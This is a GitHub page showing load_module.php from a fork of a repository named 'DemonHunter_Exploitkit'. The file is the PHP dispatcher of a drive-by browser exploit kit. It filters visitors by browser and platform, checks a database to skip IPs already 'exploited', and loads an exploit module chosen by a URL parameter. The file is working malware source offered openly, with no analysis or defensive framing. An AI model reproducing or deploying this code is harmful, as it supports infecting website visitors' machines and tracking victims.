forked from kurtcoke/DemonHunter_Exploitkit
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathload_module.php
More file actions
55 lines (31 loc) · 1.03 KB
/
Copy pathload_module.php
File metadata and controls
55 lines (31 loc) · 1.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?
include_once('config.php');
include("include/browser.php");
$browser = new Browser();
$data = $browser->identification();
if(($data['browser'] != "FIREFOX" && $data['browser'] != "CHROME" && $data['browser'] != "SAFARI" && $data['browser'] != "OPERA" && $data['browser'] != "MSIE") || $data['platform'] == "OTHER"){
exit();
}
include_once('include/sql.php');
include_once('include/visitors.php');
$sql = new CSQL($sqlSettings);
$sql->open();
$cvisitors = new CVisitors($sql, $sqlSettings);
$exploited = $cvisitors->checkVisitor($_SERVER['HTTP_USER_AGENT'], $cvisitors->getIpAddr(), $cvisitors->getIpAddrCountry($cvisitors->getIpAddr()));
$sql->close();
if($exploited){
exit();
}
$page = $_GET["e"];
$pos = strpos($page, "..");
if($page != "" && isset($page) && $pos === false ){
$inc = "modules/" . $page . ".php";
if(file_exists($inc)){
require_once($inc);
}else{
require_once("modules/index.php");
}
}else{
require_once("modules/index.php");
}
?>